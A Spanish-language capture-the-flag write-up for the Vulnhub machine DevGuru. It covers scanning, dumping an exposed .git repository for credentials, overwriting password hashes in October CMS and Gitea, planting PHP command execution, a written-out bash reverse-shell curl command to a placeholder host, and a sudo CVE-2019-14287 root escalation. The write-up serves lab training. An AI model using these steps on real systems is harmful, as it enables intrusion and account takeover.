DevGuru | CTF Writeup - Vulnhub
DevGuru
Empezamos escaneando nuestra red local para encontrar la IP de la máquina víctima.
1
2
3
4
5
6
7
8
9
10
> sudo netdiscover -r 192.168.216.0/24
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.216.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.216.2 00:50:56:e2:11:a1 1 60 VMware, Inc.
192.168.216.149 00:0c:29:b5:fa:d7 1 60 VMware, Inc.
192.168.216.254 00:50:56:f8:e9:f9 1 60 VMware, Inc.
Exportamos la IP a una variable de entorno con el siguiente comando:
export IP=192.168.216.149
. Aplicamos un escaneo exhaustivo connmap
.
1
2
3
4
5
6
7
8
9
10
11
12
13
# Nmap 7.93 scan initiated Mon Jan 22 16:48:53 2024 as: nmap -sS -p- -T5 --min-rate 5000 -vv -oN scan.txt -Pn -n 192.168.216.149
Nmap scan report for 192.168.216.149
Host is up, received arp-response (0.00059s latency).
Scanned at 2024-01-22 16:48:53 -03 for 1s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
8585/tcp open unknown syn-ack ttl 64
MAC Address: 00:0C:29:B5:FA:D7 (VMware)
Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Jan 22 16:48:54 2024 -- 1 IP address (1 host up) scanned in 1.19 seconds
Si enumeramos la página web con el script
http-enum
denmap
, encontramos un archivo.htaccess
. En el mismo, veremos lo siguiente:
Vemos que hay un archivo
adminer.php
. Sin embargo, no conocemos las credenciales.
Otra cosa que podemos ver es que la web carga recursos de un dominio
devguru.local
. Se está efectuando virtual hosting. Si lo añadimos a nuestro archivo/etc/hosts
para que nos resuelva a ese dominio, y nos dirigimos en la web al puerto 8585, vemos lo siguiente:
Vemos que hay un usuario válido:
frank
.
Para seguir con el escaneo y profundizar aún más, hacemos detección de versiones en los servicios que corren en la máquina, nuevamente con
nmap
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Nmap 7.93 scan initiated Mon Jan 22 16:49:17 2024 as: nmap -sCV -p22,80,8585 -oN versions.txt 192.168.216.149
Nmap scan report for 192.168.216.149
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a46e82b01ff57587a5f25a4d6f2898e (RSA)
| 256 0879939ce3b4a4be80ad619dd388d284 (ECDSA)
|_ 256 9cf988d43377064ed97c39173e079cbd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-git:
| 192.168.216.149:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-generator: DevGuru
|_http-title: Corp - DevGuru
|_http-server-header: Apache/2.4.29 (Ubuntu)
8585/tcp open unknown
MAC Address: 00:0C:29:B5:FA:D7 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 22 16:50:45 2024 -- 1 IP address (1 host up) scanned in 88.26 seconds
¡Hay un directorio
.git
en el servidor HTTP! Podemos intentar enumerar lo que hay dentro con la herramienta Git Dumper.
1
> python3 git_dumper.py http://$IP/.git/ dump
Vemos lo siguiente.
Si nos dirigimos a
config
veremos un archivodatabase.php
. Hacemos uncat database.php
y podremos ver credenciales expuestas.
Intentamos iniciar sesión en Adminer con las credenciales
october:SQ66EBYx4GT3byXH
.
Me llama especialmente la atención la sección de
backend_users
. Si entramos allí, podemos ver un usuariofrank
. Vemos una contraseña encriptada conbcrypt
, así que podríamos intentar colar nuestra propia contraseña encriptada con el mismo tipo de hash para poder burlar el sistema. El problema sería saber cuál es la sección donde podríamos iniciar sesión como frank.
Haciendo una búsqueda más exhaustiva, con
gobuster
encontré un directoriobackend
.
1
> gobuster dir -u http://$IP --add-slash -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bak
Encriptamos nuestra propia contraseña. Por ejemplo, hola123. Esto lo haremos con https://bcrypt-generator.com/. Colocamos el hash en la columna de password, correspondiente al usuario frank. Si ahora intentamos entrar al panel de control de October CMS con nuestra contraseña, podremos apreciar que efectivamente hemos logrado cambiarla.
Nos vamos a la sección de CMS para proceder a explotar este gestor de contenido.
Una vez aquí, solo queda buscar como ejecutar comandos remotamente. Me encontré con este post de hace varios años ya, donde explican como ejecutar código php en una página desde este gestor: https://octobercms.com/forum/post/running-php-code-on-pages.
“Llamamos” a la variable en la sección markup.
Si entramos a
http://$IP/services?cmd=whoami
podremos ver el output del comando.
Desde una consola, hacemos una petición HTTP con el comando
curl -s -G "http://$IP/services" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/myIP/myPort 0>&1'"
. Nos ponemos en escucha desdemyPort
y mandamos la petición.
¡Estamos dentro! Si nos vamos a
/var/
, veremos un archivoapp.ini.bak
. Si hacemos uncat app.ini.bak | grep -i password -B 5 -A 5
:
Intentamos iniciar sesión nuevamente en Adminer con estas credenciales.
Nuevamente nos vamos a la sección de users en la base de datos
gitea
.
Entramos a editar el usuario. El algoritmo criptográfico de la contraseña es pbkdf2.
Cambiamos el algoritmo a bcrypt, y luego cambiamos la contraseña al hash que habíamos generado anteriormente. Intentamos entrar a la página de gitea que vimos al principio de la etapa de reconocimiento.
Tenemos la versión de gitea.
Podemos intentar buscar vulnerabilidades de esta versión con
searchsploit
. Buscando por internet, encontré el siguiente script para poder explotar una vulnerabilidad del tipo RCE (Remote Command Execution): https://www.exploit-db.com/exploits/49571. Ejecutamos el script y nos ponemos en escucha por el puerto indicado a la hora de ejecutar.
¡Bien! Ya migramos al usuario frank. Tenemos la flag.
Empezamos a enumerar.
Podemos ejecutar como todos los usuarios el binario
/usr/bin/sqlite3
exceptuando el usuarioroot
, sin brindar contraseña. Esto puede llegar a ser crítico dependiendo de la versión de sudo. Checkeamos la versión consudo --version
, y vemos que está en la 1.8.21p. Es vulnerable al CVE 2019-14287 (Demo: https://www.exploit-db.com/exploits/47502).
¡Listo! Ya somos root y pwneamos la máquina.
¡Muchas gracias por leer!